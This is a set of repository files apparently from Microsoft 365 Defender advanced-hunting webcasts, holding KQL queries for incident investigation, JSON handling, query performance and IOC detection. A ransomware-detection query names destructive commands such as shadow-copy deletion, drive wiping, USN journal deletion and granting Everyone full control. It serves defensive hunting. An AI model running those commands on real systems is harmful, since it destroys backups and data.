account? \n\nlet EricGAlerts = ( \n    AlertEvidence \n    | where Timestamp > todatetime('2020-07-17') and AccountObjectId == '993788dd-7c13-4db8-9b0a-6297fcb8d5b3'\n); // Get all alerts for EricG's account \nEricGAlerts \n| join kind=rightsemi AlertInfo on AlertId // Get the alertinfo \n| join AlertEvidence on AlertId // Join back on AlertEvidence to get other evidence \n| join kind = leftouter ( \n    DeviceInfo \n    | summarize DeviceName = any(DeviceName) by DeviceId\n) on DeviceId // This creates a mapping table between DeviceId and DeviceName since we only have ID in AlertEvidence \n| extend DomainAndAccount = strcat(AccountDomain, '\\\\', AccountName) \n| summarize Timestamp = min(Timestamp) \n, Device = make_set_if(DeviceName, isnotempty(DeviceName)) \n, SHA1 = make_set_if(SHA1,isnotempty(SHA1)) \n, SHA256 = make_set_if(SHA256, isnotempty(SHA256)) \n, RemoteIP = make_set_if(RemoteIP, isnotempty(RemoteIP)) \n, RemoteUrl = make_set_if(RemoteUrl, isnotempty(RemoteUrl)) \n, Account = make_set_if(DomainAndAccount, DomainAndAccount != '\\\\') by AlertId, Title // Build a nice JSON report of each alert \n| order by Timestamp asc \n\n// make_set_if() - Creates a list of unique values from the specified column when they match the \n// condition in the second parameter. \n// makeset() - same thing without the conditional operator \n// makelist() \\ make_list_if() - same as makeset but without deduplication \n\n// OK! We have some interesting things here \n// - A new device of interest - robertot-pc \n// - We've found out that the attacker may have created a malicious inbox forwarding rule (backdoor) set from 52.137.127.6 (communication) \n// - We can see evidence of a possible skeleton key attack (Authentication) \n// - A few logons using potentially stolen credentials [mtp-air-aadconnect01 and mtp-air-dc01] (Authentication) \n// I wonder if that IP address is one of our devices... \n\nDeviceInfo \n| where PublicIP == \"52.137.127.6\" \n| distinct DeviceName \n\n// Bingo! Back to barbaram-pc. Yup, we'll have to queue that up for investigation. \n// Let's look for that other Word doc... \n\nDeviceFileEvents \n| where Timestamp > ago(19d) and FileName =~ \"BYODRegistration (1).docm\" \n| summarize count() by SHA1, SHA256, MD5 \n\n// Got our file hash - let's see what the world knows about it \n// Backdoor: c18732c861641a5a91d1578efad6f1a2546dc4bd97c68a5f6a6ba5d4f5d76242 \n\nDeviceFileEvents \n| where SHA256 == 'c18732c861641a5a91d1578efad6f1a2546dc4bd97c68a5f6a6ba5d4f5d76242' \n| take 1 \n| invoke FileProfile() // Note you need the SHA1 for this to work \n| project-reorder GlobalPrevalence, GlobalFirstSeen, GlobalLastSeen , Signer, Issuer, SignerHash, IsCertificateValid, IsRootSignerMicrosoft, IsExecutable, ThreatName, Publisher, SoftwareName \n\n// Low prevalence, first seen April of 2020. Might be targeted, but it is a Word doc\n// so global prevalence might be misleading... \n\n////////////////////////////////////////////////////////////////// \n// As you can see, using the ABC method is a quick way to pivot \n// through an incident. But Advanced Hunting doesn't stop there. \n/////////////////////////////////////////////////////////////////// \n\n// It is clear this file is malicious, we don’t want it in our env.\n// We would like to take action on the malicious file – quarantine it \n\nDeviceFileEvents \n| where SHA256 == 'c18732c861641a5a91d1578efad6f1a2546dc4bd97c68a5f6a6ba5d4f5d76242'\n\n\n// We found several IOCs during this investigation, like IPs and file hashes.\n// We would like to make sure we will get alerted next time we see one of the IOCs in \n// our env, therefore we will create a custom detection rule. \n\n// Custom detection rule to get alerted on every future activity involving IP: \n// '178.32.124.142', '51.83.139.56'\n\nsearch in (DeviceNetworkEvents, DeviceEvents) \nRemoteIP in ('178.32.124.142', '51.83.139.56') or FileOriginIP  in ('178.32.124.142', '51.83.139.56') or IPAddress in ('178.32.124.142', '51.83.139.56')\n\n// Detection name – Activity involving malicious IP ('178.32.124.142', '51.83.139.56') \n// Alert title – Activity involving malicious IP \n// Category – Suspicious activity \n// MITRE techniques - \n// Description – Activity with '178.32.124.142', '51.83.139.56' was observed \n\n// Go Hunt\n"
  },
  {
    "path": "Webcasts/TrackingTheAdversary/README.md",
    "content": "# Tracking The Adversary\n\n**[Webcast Link](https://techcommunity.microsoft.com/t5/microsoft-threat-protection/webinar-series-unleash-the-hunter-in-you/ba-p/1509232)**\n\nThis webcast is designed to take you from newbie to ninja on advanced hunting in four episodes. This repo contains the query files used in each of the webcasts so that you can hunt in your own MTP instance.\n\n---\n\n## Episode 1: KQL Fundamentals\n\nIn the first episode, we will cover the basics of advanced hunting capabilities in Microsoft Threat Protection (MTP). Learn about available advanced hunting data and basic KQL syntax and operators. The best part?  No slides!\n\n---\n\n## Episode 2: Joins\n\nIn episode 2, we will continue learning about data in advanced hunting and how to join tables together. Learn about inner, outer, unique, and semi joins, as well as the nuances of the default Kusto innerunique join. Make Edgar F. Codd proud!\n\n---\n\n## Episode 3: Summarizing, pivoting, and visualizing Data\n\nNow that we’re able to filter, manipulate, and join data, it’s time to start summarizing, quantifying, pivoting, and visualizing. In this episode, we will cover the summarize operator and some of the various calculations you can perform while diving into additional tables within MTP. We will turn our datasets into charts that can help improve analysis.\n\n---\n\n## Episode 4: Let’s hunt! Applying KQL to incident tracking\n\nTime to track some attacker activity! In this episode, we will use our improved understanding of KQL and advanced hunting in Microsoft Threat Protection to track an attack. Learn some of the tips and tricks used in the field to track attacker activity, including the ABCs of cybersecurity and how to apply them to incident response.\n"
  },
  {
    "path": "Webcasts/l33tSpeak/MCAS - The Hunt.txt",
    "content": "print Topic = \"l33tSpeak: Advanced hunting in Microsoft 365 Defender\" \n    , Presenters = pack_array(\"Sebastien Molendijk, Michael Melone, Tali Ash\")\n    , Company = \"Microsoft\" \n    , Date = todatetime(\"10 MAY 2021\") \n\n///////////////////////  \n// Working with the dynamic type  \n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/scalar-data-types/dynamic  \n///////////////////////  \n\n// Dynamic is an object oriented format for storing structured data.  \n// Dynamics are usually converted from JSON strings using either todynamic() or parse_json() (same function)  \n// You can also convert XML into a dynamic by using parse_xml()  \n\nlet JsonString = '{\"hello\": 1337, \"world\": [\"wibble\",\"wobble\",\"wubble\"]}';\nprint todynamic(JsonString)  \n\n// There are a number of ways you can interact with elements stored as dynamic() typed objects.  \n// Interacting with child elements  \n// - Column.Child  \n// - Column[“Child”]  \n  \nlet JsonString = '{\"hello\": 1337, \"world\": [\"wibble\",\"wobble\",\"wubble\"]}';\nprint x = todynamic(JsonString)  \n| extend hello = x.hello, world = x[\"world\"]  \n\n// Interacting with lists \\ arrays  \n// Column[ElementNumber]  \n  \nlet JsonString = '{\"hello\": 1337, \"world\": [\"wibble\",\"wobble\",\"wubble\"]}';\nprint x = todynamic(JsonString)  \n| extend hello = x.hello, world = x[\"world\"]  \n| extend FirstElement = world[0], SecondElement = world[1]  \n\n// The information on the actor initiating the activities can be found in AccountObjectId and AccountDisplayName columns.  \n// To get the target account and the activities were performed we can extract information from RawEventData \n\nCloudAppEvents \n| where ActionType == \"AddedToGroup\" \n| take 50 \n| project-reorder AccountObjectId, AccountDisplayName, RawEventData\n\nCloudAppEvents \n| where ActionType == \"AddedToGroup\" \n| project Timestamp, Application, IPAddress, Actor = AccountDisplayName, AddedUser = RawEventData.TargetUserOrGroupName \n\nCloudAppEvents \n| where ActionType == \"AddedToGroup\" \n| project Timestamp, Application, IPAddress, Actor = AccountDisplayName, AddedUser = RawEventData[\"TargetUserOrGroupName\"] \n\n\n//////////////////////////////\n// pack_array()\n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/packarrayfunction  \n// Creates a dynamic array\n//////////////////////////////\n\n// Lists, sets, and arrays in KQL are stored as dynamics and can be created  \n// with functions such as pack_array()  \n\nprint pack_array('foo','bar','baz')  \n\n// Note that you cannot simply compare dynamic elements in KQL. To do this,\n// convert them back to another type using functions such as tostring() or toint()\n\nlet JsonDynamic = todynamic('{\"hello\": 1337, \"world\": [\"wibble\",\"wobble\",\"wubble\"]}');\nprint tostring(JsonDynamic.hello) == tostring(JsonDynamic['hello'])  \n\n////////////////////////  \n// bag_unpack()  \n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/bag-unpackplugin  \n// Automatically unpacks the first level of a dynamic to a table  \n////////////////////////  \n\n// Another option is to use bag_unpack() to turn JSON data directly into a table.  \n// Note that bag_unpack() only processes the first level of JSON. If you have   \n// multiple nested JSON elements you may need multiple calls to the function.  \n  \nlet JsonDynamic = todynamic('{\"hello\": 1337, \"world\": [\"wibble\",\"wobble\",\"wubble\"]}');\nprint x = JsonDynamic\n| evaluate bag_unpack(x)\n\n/////////////////////////////\n// mv-expand  \n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/mvexpandoperator  \n// Multiplies elements in a dynamic array across a tabular dataset  \n/////////////////////////////  \n\n\n// You can also use functions such as mv-expand to parse elements in a dynamic\n// across a table. This is very handy for efficiently analyzing lists of\n// elements at scale\n\n// Let’s put bag_unpack() and mv-expand together.  \n  \nlet JsonDynamic = todynamic('{\"hello\": 1337, \"world\": [\"wibble\",\"wobble\",\"wubble\"]}');\nprint x = JsonDynamic\n| evaluate bag_unpack(x)\n| mv-expand world\n\n// With mv-expand we can extract the Group the user was added to.  \n// The easiest is to extract it from ActivityObjects column \n\nCloudAppEvents \n| where ActionType == \"AddedToGroup\" \n| mv-expand ActivityObjects    \n| where ActivityObjects['Type'] == ('Group') \n| project Timestamp, Application, IPAddress, Actor = AccountDisplayName, AddedUser = RawEventData.TargetUserOrGroupName, Group = ActivityObjects.Name \n\n////////////////////////////////////////////////////////////////////////////////////////\n\n\n//////////////////////////////  \n// startofday() function  \n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/startofdayfunction  \n// Returns the time at the start of a day, with an optional time offset  \n//////////////////////////////  \n\n// KQL time filters and functions are UTC  \n// Returns the start of the day containing the date, shifted by an offset of days, if provided.  \n\nprint startofday(datetime(2021-01-01 10:10:17))  \n\nIdentityInfo | where AccountUpn == 'meganb@seccxp.ninja'   \n\nlet timeToSearch = startofday(datetime('2021-05-04'));    \nAADSignInEventsBeta     \n| where AccountObjectId == 'eababd92-9dc7-40e3-9359-6c106522db19' and Timestamp >= timeToSearch     \n| distinct Application, ResourceDisplayName, Country, City, IPAddress, DeviceName, DeviceTrustType, OSPlatform, IsManaged, IsCompliant, AuthenticationRequirement, RiskState, UserAgent, ClientAppUsed   \n\n// Step 1: understand the performed actions   \nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';    \nlet locations = pack_array('SG', 'DE', 'IE', 'AL', 'UK');    \nlet timeToSearch = startofday(datetime('2021-05-04'));    \nCloudAppEvents    \n| where AccountObjectId == accountId and CountryCode in (locations) and Timestamp >= timeToSearch     \n| summarize by ActionType, CountryCode, AccountObjectId     \n| sort by ActionType asc   \n\n// Step 2: review the accessed emails   \nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';    \nlet locations = pack_array('SG', 'DE', 'IE', 'AL', 'UK');    \nlet timeToSearch = startofday(datetime('2021-05-04'));    \nCloudAppEvents    \n| where ActionType == 'MailItemsAccessed' and CountryCode in (locations) and AccountObjectId == accountId and Timestamp >= timeToSearch    \n| mv-expand todynamic(RawEventData.Folders)     \n| extend Path = todynamic(RawEventData_Folders.Path), SessionId = tostring(RawEventData.SessionId)    \n| mv-expand todynamic(RawEventData_Folders.FolderItems)    \n| project SessionId, Timestamp, AccountObjectId, DeviceType, CountryCode, City, IPAddress, UserAgent, Path, Message = tostring(RawEventData_Folders_FolderItems.InternetMessageId)    \n| join kind=leftouter (    \n    EmailEvents     \n    | where RecipientObjectId == accountId     \n    | project Subject, RecipientEmailAddress, SenderMailFromAddress, DeliveryLocation, ThreatTypes, AttachmentCount, UrlCount, InternetMessageId     \n    )   \n    on $left.Message == $right.InternetMessageId     \n| sort by Timestamp desc   \n\n \n// BONUS: get message details using Graph:  \n// https://graph.microsoft.com/v1.0/users/meganb@seccxp.ninja/messages?filter=internetMessageId eq '<b4acafd9-d086-4de0-8deb-c83118dae907@az.centralus.production.microsoft.com>'&select=subject,from,hasAttachments \n\n// Step 3: review the accessed FolderItems\nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';   \nlet locations = pack_array('SG', 'DE', 'IE', 'AL', 'UK');   \nlet timeToSearch = startofday(datetime('2021-05-04'));  \nCloudAppEvents   \n| where ActionType == 'FilePreviewed' or ActionType == 'FileDownloaded' and CountryCode in (locations) and AccountObjectId == accountId and Timestamp >= timeToSearch   \n| project Timestamp, CountryCode, IPAddress, ISP, UserAgent, Application, ActivityObjects, AccountObjectId   \n| mv-expand ActivityObjects   \n| where ActivityObjects['Type'] in ('File', 'Folder') and ActivityObjects['Role'] == 'Target object' \n| evaluate bag_unpack(ActivityObjects) \n\n\n// Step 4: review deleted emails   \nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';    \nlet locations = pack_array('SG', 'DE', 'IE', 'AL', 'UK');    \nlet timeToSearch = startofday(datetime('2021-05-04'));    \nCloudAppEvents    \n| where ActionType in~ ('MoveToDeletedItems', 'SoftDelete', 'HardDelete') and CountryCode in (locations) and AccountObjectId == accountId and Timestamp >= timeToSearch    \n| mv-expand ActivityObjects    \n| where ActivityObjects['Type'] in ('Email', 'Folder')    \n| evaluate bag_unpack(ActivityObjects)    \n| distinct Timestamp, AccountObjectId, ActionType, CountryCode, IPAddress, Type, Name, Id    \n| sort by Timestamp desc   \n\n  \n// Step 5: review the created inbox rules   \nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';    \nlet locations = pack_array('SG', 'DE', 'IE', 'AL', 'UK');    \nlet timeToSearch = startofday(datetime('2021-05-04'));    \nCloudAppEvents    \n| where ActionType contains_cs 'InboxRule' and CountryCode in (locations)    \n| extend RuleParameters = RawEventData.Parameters    \n| project Timestamp, CountryCode, IPAddress, ISP, ActionType, ObjectName, RuleParameters     \n| sort by Timestamp desc   \n\n// Step 6: identify potential other victims   \nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';    \nlet locations = pack_array('SG', 'DE', 'IE', 'AL', 'UK');    \nlet timeToSearch = startofday(datetime('2021-05-04'));    \nlet ips = (   \n    CloudAppEvents    \n    | where CountryCode in (locations)     \n    | distinct IPAddress, AccountObjectId     \n    );    \nips     \n| join (CloudAppEvents | project ActivityIP = IPAddress, UserId = AccountObjectId) on $left.IPAddress == $right.ActivityIP     \n| distinct UserId     \n| join IdentityInfo on $left.UserId == $right.AccountObjectId    \n| distinct AccountDisplayName, AccountUpn, Department, Country, City, AccountObjectId   \n\n// Bonus: identify details sent by the malicious actorIdentityInfo   \nlet accountId = 'eababd92-9dc7-40e3-9359-6c106522db19';   \nlet timeToSearch = startofday(datetime('2021-05-04'));   \nCloudAppEvents   \n| where ActionType =~ 'send' and AccountObjectId == accountId // apply the right filter   \n| extend rawData = todynamic(RawEventData)   \n| extend UserKey = rawData.UserKey, MessageId = tostring(rawData.Item.InternetMessageId), Subject = rawData.Item.Subject, Attachments = rawData.Item.Attachments   \n| join (   \n    EmailEvents    \n    )   \n    on $left.MessageId == $right.InternetMessageId    \n| sort by Timestamp desc   \n| project UserKey, Timestamp, AccountObjectId, AccountDisplayName, DeviceType, CountryCode, City, ISP, IPAddress, SenderIPv4, SenderIPv6, UserAgent, Subject, InternetMessageId, Attachments, RecipientEmailAddress, SenderMailFromAddress, DeliveryLocation,  ThreatTypes, ConfidenceLevel \n, AttachmentCount, UrlCount, MessageId\n"
  },
  {
    "path": "Webcasts/l33tSpeak/Performance, Json and dynamics operator, external data.txt",
    "content": "print Topic = \"l33tSpeak: Advanced hunting in Microsoft 365 Defender\", Presenters = \"Michael Melone, Tali Ash\", Company = \"Microsoft\", Date = todatetime(\"17 NOV 2020\")\n \n// -------------------------\n// Topic 1: Advanced Hunting, KQL, and performance\n// Advanced hunting query best practices in Microsoft Threat Protection - Microsoft 365 security | Microsoft Docs\n// -------------------------\n \n// Advanced Hunting is built on Azure Data Explorer, which is a Write Once Read Many (WORM)\n// technology. When you write a query against Advanced Hunting:\n// - Data is based on recent activity (usually delayed just a few minutes)\n// - There is never any impact to the endpoint\n// - Queries may be throttled or limited based on how they're written to limit impact to other sessions\n// Recommended documentation https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-best-practices?view=o365-worldwide\n \n// #1 best way to improve query performance: reduce timeframe\n// Visualized filter at the top right\n\nIdentityInfo\n| where Department == \"Finance\"\n| distinct AccountObjectId \n| join IdentityLogonEvents on AccountObjectId \n| where Application == \"Office 365\"\n\n// Filter timestamp in the query using “ago”\nIdentityInfo\n| where Department == \"Finance\"\n| distinct AccountObjectId \n| join (IdentityLogonEvents | where Timestamp > ago(10d)) on AccountObjectId \n| where Application == \"Office 365\"\n\n// Filter timestamp in the query using “between”\nlet selectedTimestamp = datetime(2020-11-12T19:35:03.9859771Z);\nIdentityInfo\n| where Department == \"Finance\"\n| distinct AccountObjectId \n| join (IdentityLogonEvents | where Timestamp between ((selectedTimestamp - 2h) .. (selectedTimestamp + 2h))) on AccountObjectId \n| where Application == \"Office 365\"\n\nAlertInfo\n| where AlertId  == \"caC27D7C90-E9E7-3207-9FF8-94335F0E27D3\"\n\n| project AlertTime = Timestamp , Title, Severity, AlertId  \n| join AlertEvidence on AlertId \n| where EntityType == \"User\"\n| project AccountObjectId , AlertTime\n| join IdentityLogonEvents on AccountObjectId\n| where Timestamp between ((AlertTime - 1h) ..(AlertTime + 1h))\n\n// Has beats contains: When looking for full tokens, has works better, since it doesn't look for substrings.\nDeviceNetworkEvents\n| where RemoteUrl contains \"team\"\n| take 50\n\nDeviceNetworkEvents\n| where RemoteUrl has \"team\" //only teams will work as it is the full token\n| take 50\n\nDeviceNetworkEvents\n| where RemoteUrl contains \"microsoft.com\"\n| take 50\n\nDeviceNetworkEvents\n| where RemoteUrl has \"microsoft.com\"\n| take 50\n\n// Use case-sensitive operators when possible.\n// Names of case-sensitive string operators, such as has_cs and contains_cs, generally end with _cs.\nDeviceNetworkEvents\n| where RemoteUrl has_cs \"microsoft.com\"\n| take 50\n\n// Use == and not =~, Use in and not in~\n// Get latest information on user/device\nDeviceInfo\n| where DeviceName == \"alexw-pc\" and isnotempty(OSPlatform)\n| summarize arg_max(Timestamp, *) by DeviceId \n\nIdentityInfo\n| where Department == \"Finance\"\n| extend ingestionTime = ingestion_time()\n| summarize arg_max(ingestionTime, *) by AccountObjectId\n\n// Optimize the join operator\n// - If you are using a join, try to reduce the dataset before joining to limit the join size\n// - If you use too many resources you may be put in 'time out' for a bit\n\nEmailEvents\n| project NetworkMessageId, Subject, Timestamp, SenderFromAddress , SenderIPv4 , RecipientEmailAddress , AttachmentCount \n| join kind=leftouter(EmailAttachmentInfo\n| project NetworkMessageId,FileName, FileType, ThreatTypes, SHA256, RecipientEmailAddress )\non NetworkMessageId\n\n// filter the left table as much as you can\n// Key for the join should be accurate as possible\nEmailEvents\n| where AttachmentCount > 0\n|project NetworkMessageId, Subject, Timestamp, SenderFromAddress , SenderIPv4 , RecipientEmailAddress , AttachmentCount \n| join kind=inner (EmailAttachmentInfo\n| project NetworkMessageId,FileName, FileType, ThreatTypes, SHA256, RecipientEmailAddress )\non NetworkMessageId, RecipientEmailAddress \n\n// Smaller table on the left side, with kind = inner, as default join (innerunique) \n// will remove left side duplications, so if a single email has more than one attachments we will miss it\nEmailAttachmentInfo\n| project NetworkMessageId, FileName, FileType, ThreatTypes, SHA256, RecipientEmailAddress\n| join kind=inner\n(EmailEvents\n| where AttachmentCount > 0\n|project NetworkMessageId, Subject, Timestamp, SenderFromAddress , SenderIPv4 , RecipientEmailAddress , AttachmentCount)\non NetworkMessageId, RecipientEmailAddress \n\n// Check for specific alerts\nAlertInfo\n| join AlertEvidence on AlertId\n| where EntityType == \"Machine\"\n// Attempts to clear security event logs.\n| where Title in(\"Event log was cleared\", \n// List alerts flagging attempts to delete backup files.\n\"File backups were deleted\",\n// Potential Cobalt Strike activity - Note that other threat activity can also\n// trigger alerts for suspicious decoded content\n\"Suspicious decoded content\", \n// Cobalt Strike activity\n\"\\'Atosev\\' malware was detected\",\n\"\\'Ploty\\' malware was detected\",\n\"\\'Bynoco\\' malware was detected\")\n| extend AlertTime = Timestamp\n| distinct DeviceName, AlertTime, AlertId, Title\n| join DeviceLogonEvents on $left.DeviceName == $right.DeviceName\n// Creating 10 day Window surrounding alert activity\n| where Timestamp < AlertTime +5d and Timestamp > AlertTime - 5d\n// Projecting specific columns\n| project Title, DeviceName, DeviceId, Timestamp, LogonType, AccountDomain,\nAccountName, AccountSid, AlertTime, AlertId, RemoteIP, RemoteDeviceName\n\n\n// Check for specific alerts\nAlertInfo\n// Attempts to clear security event logs.\n| where Title in(\"Event log was cleared\", \n// List alerts flagging attempts to delete backup files.\n\"File backups were deleted\",\n// Potential Cobalt Strike activity - Note that other threat activity can also\n// trigger alerts for suspicious decoded content\n\"Suspicious decoded content\", \n// Cobalt Strike activity\n\"\\'Atosev\\' malware was detected\",\n\"\\'Ploty\\' malware was detected\",\n\"\\'Bynoco\\' malware was detected\")\n| extend AlertTime = Timestamp\n| join AlertEvidence on AlertId\n| where EntityType == \"Machine\"\n| distinct DeviceName, AlertTime, AlertId, Title\n| join DeviceLogonEvents on $left.DeviceName == $right.DeviceName\n// Creating 10 day Window surrounding alert activity\n| where Timestamp < AlertTime +5d and Timestamp > AlertTime - 5d\n// Projecting specific columns\n| project Title, DeviceName, DeviceId, Timestamp, LogonType, AccountDomain,\nAccountName, AccountSid, AlertTime, AlertId, RemoteIP, RemoteDeviceName\n\n// - Queries are limited to 10k results through the web UI, 100k results via API\n \n \n// -----------------------------\n// Topic 2: Ransomware tips / recommendations (3 examples)\n\n// Ransomware is a very real challenge in today’s enterprise. \n\n// -----------------------------\n\n// Defender for Endpoint provides a bunch of different types of alerts for\n// known ransomware and ransomware-like behavior\n// To accomplish these tests, I explicitly excluded the folder where I placed the malware,\n// disable automatic response by AutoIR, and ensured EDR in block mode was disabled.\n\nAlertEvidence\n| where DeviceId == 'eb610cc67fe0b99300a076324f5f4cd409324872'\n| join kind=rightsemi AlertInfo on AlertId \n| order by Timestamp asc\n\n// Much of the ransomware that makes the news is what we refer to as human operated\n// ransomware. This differs from other forms of ransomware in that it typically begins \n// with an attacker compromising a vulnerability, performing credential theft until they\n// attain enough authorization to deploy ransomware broadly, then doing so.\n\n// …in other words, it is a targeted attack and should be treated as such. To track and \n// eliminate this activity you will want to use the ABC method discussed in Tracking the\n// Adversary episode 4. Its not about the malware, but rather the persistence mechanisms\n// implemented by the attacker and any credentials they control.\n\n// On the ransomware front, we can try to detect ransomware-like behaviors, for example:\n// src: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Possible%20Ransomware%20Related%20Destruction%20Activity.md\n\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where (FileName =~ 'vssadmin.exe' and ProcessCommandLine has \"delete shadows\" and ProcessCommandLine has \"/all\" and ProcessCommandLine has \"/quiet\" ) // Clearing shadow copies\nor (FileName =~ 'cipher.exe' and ProcessCommandLine contains \"/w\") // Wiping drive free space\nor (FileName =~ 'schtasks.exe' and ProcessCommandLine has \"/change\" and ProcessCommandLine has @\"\\Microsoft\\Windows\\SystemRestore\\SR\" and ProcessCommandLine has \"/disable\") // Disabling system restore task\nor (FileName =~ 'fsutil.exe' and ProcessCommandLine has \"usn\" and ProcessCommandLine has \"deletejournal\" and ProcessCommandLine has \"/d\") // Deleting USN journal\nor (FileName =~ 'icacls.exe' and ProcessCommandLine has @'\"C:\\*\"' and ProcessCommandLine contains '/grant Everyone:F') // Attempts to re-ACL all files on the C drive to give everyone full control\nor (FileName =~ 'powershell.exe' and (\nProcessCommandLine matches regex @'\\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\\s+' and replace(@'\\x00','', base64_decode_tostring(extract(\"[A-Za-z0-9+/]{50,}[=]{0,2}\",0 , ProcessCommandLine))) matches regex @\".*(Win32_Shadowcopy).*(.Delete\\(\\)).*\"\n) or ProcessCommandLine matches regex @\".*(Win32_Shadowcopy).*(.Delete\\(\\)).*\"\n) // This query looks for PowerShell-based commands used to delete shadow copies\n\n\n// -----------------------------\n// Topic 3: Handling JSON and the dynamic type\n// -----------------------------\n \n// Many tables in Advanced Hunting are JSON strings. While you can parse these as strings, \n// turning them into dynamic type columns is usually a lot more effective. \nDeviceEvents \n| summarize arg_max(Timestamp, *) by ActionType \n| project-reorder ActionType, AdditionalFields\n\n// Let's look at the AdditionalFields column of a PnpDeviceConnected event \nDeviceEvents \n| where ActionType == 'PnpDeviceConnected' \n| take 10 \n| project-reorder AdditionalFields \n\n\n// Imagine we wanted to audit which plug and play devices were used on the network. To \n// accomplish this we need to turn this string into (a much more useful) dynamic. \n// From there we can access individual properties of the object using dotted notation.\nDeviceEvents \n| where ActionType == 'PnpDeviceConnected' \n| project ATDynamic = parse_json(AdditionalFields) \n| extend ClassName = ATDynamic.ClassName, ClassId = ATDynamic.ClassId, DeviceId = ATDynamic.DeviceId, DeviceDescription = ATDynamic.DeviceDescription \n| project-reorder ClassName, ClassId, DeviceDescription \n| take 10 \n\n\n// ...but that takes forever to type, right? Enter bag_unpack()!\nDeviceEvents \n| where ActionType == 'PnpDeviceConnected' \n| take 100\n| project ATDynamic = parse_json(AdditionalFields) \n| evaluate bag_unpack(ATDynamic) \n\n\n// Lists can be indexed too. For example, let's take a look at signature versions reported\n// by Threat and Vulnerability Management\n\n\nDeviceTvmSecureConfigurationAssessment\n| where ConfigurationId == 'scid-2011'\n| take 100\n| project-reorder Context\n\n\n// Here we have a list within a list. The inner list has three values (for machines running\n// Defender Antimalware): \n// - Signature version\n// - Engine version\n// - Update date\n// To get them out:\n\n\nDeviceTvmSecureConfigurationAssessment\n| where ConfigurationId == 'scid-2011'\n| take 100\n| extend x = todynamic(Context)\n| project DeviceId, DeviceName, SignatureVersion = x[0][0], EngineVerision = x[0][1], UpdateDate = x[0][2]\n// Now let's say you wanted to generate a report that has a count of the number of different\n// plug and play devices added per machine, but also lists out all of the ClassId's from\n// each of the plug and play devices. \n\n\n// First, we need to change that project to an extend so that we can get the DeviceId back.\n\n\nDeviceEvents \n| where ActionType == 'PnpDeviceConnected' \n| take 100\n| extend ATDynamic = parse_json(AdditionalFields) \n| evaluate bag_unpack(ATDynamic) \n\n\n// Error! It looks like we have a field in the Additional Fields column called DeviceId already.\n// To work around this we can use the second parameter of bag_unpack() to assign a prefix.\n\n\nDeviceEvents \n| where ActionType == 'PnpDeviceConnected' \n| take 100\n| extend ATDynamic = parse_json(AdditionalFields) \n| evaluate bag_unpack(ATDynamic, 'AdditionalFields_')\n\n\n// Perfect. Now we need to turn the ClassId into a string so that we can use it in summary \n// operations, such as dcount(). After that, we will use a new operator, make_set(), to create\n// a new deduplicated list of ClassIds associated with the device.\n\n\nDeviceEvents \n| where ActionType == 'PnpDeviceConnected' \n| take 100\n| extend ATDynamic = parse_json(AdditionalFields) \n| evaluate bag_unpack(ATDynamic, 'AdditionalFields_')\n| extend ClassId = tostring(AdditionalFields_ClassId)\n\n| summarize PnPEvents = count(), DifferentPnPDevices = dcount(ClassId), makeset(ClassId), (LastPnPEvent, DeviceName) = arg_max(Timestamp, DeviceName) by DeviceId\n// Now what if we want to make our own JSON objects with properties values? That's where the pack*() series of\n// functions come in.\n\n\n// pack\n// https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/packfunction\n// The pack function takes specific keys and values and packs them into a JSON object. Parameters are\n// provided in pairs with the first pair being the key and the second being the value.\n\n\nprint x = pack('foo','bar','wibble','wobble')\n\n\nprint x = pack('foo','bar','wibble','wobble')\n| evaluate bag_unpack(x)\n\n\n// ..but let's say instead you wanted to package your query results as a JSON object.\n// pack_all() is quite handy for this.\n\n\nEmailEvents\n| take 100\n| extend packed = pack_all() \n| project-reorder packed\n\n\n// This is all well and good, but you might need to aggregate all of these individual rows\n// into a single row, right? This is where our aggrigation functions come in.\n// makelist() is like makeset(), but without deduplication. Let's use makelist() to create\n// a list of e-mails in JSON format based on senders and their domain.\n\n\nEmailEvents\n| take 100\n| project SenderFromDomain, SenderFromAddress, packed = pack_all() \n| summarize makelist(packed) by SenderFromDomain, SenderFromAddress \n\n\n// -----------------------------\n// Topic 4: externaldata operator \n// externaldata operator allows importing data from externally stored files and use it inside a query.\n// externaldata operator - https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/externaldata-operator\n// In our docs: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-best-practices?view=o365-worldwide#ingest-data-from-external-sources\n// -----------------------------\n\nEmailAttachmentInfo\n| where SHA256 in (externaldata(TimeGenerated:datetime, SHA256:string)\n[@\"https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Microsoft.Covid19.Indicators.csv\"]\nwith (format=\"csv\"))\n\n// See if any process created a file matching a hash on the list\nlet covidIndicators = (externaldata(TimeGenerated:datetime, FileHashValue:string, FileHashType: string )\n[@\"https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Microsoft.Covid19.Indicators.csv\"]\nwith (format=\"csv\"))\n| where FileHashType == 'sha256'; //and TimeGenerated > ago(1d);\ncovidIndicators\n| join (DeviceFileEvents\n| where ActionType == 'FileCreated'\n| take 100) on $left.FileHashValue  == $right.SHA256\n\n\n"
  },
  {
    "path": "Webcasts/l33tSpeak/l33tspeak 11 Oct 2021 - externaldata and query partitioning.csl",
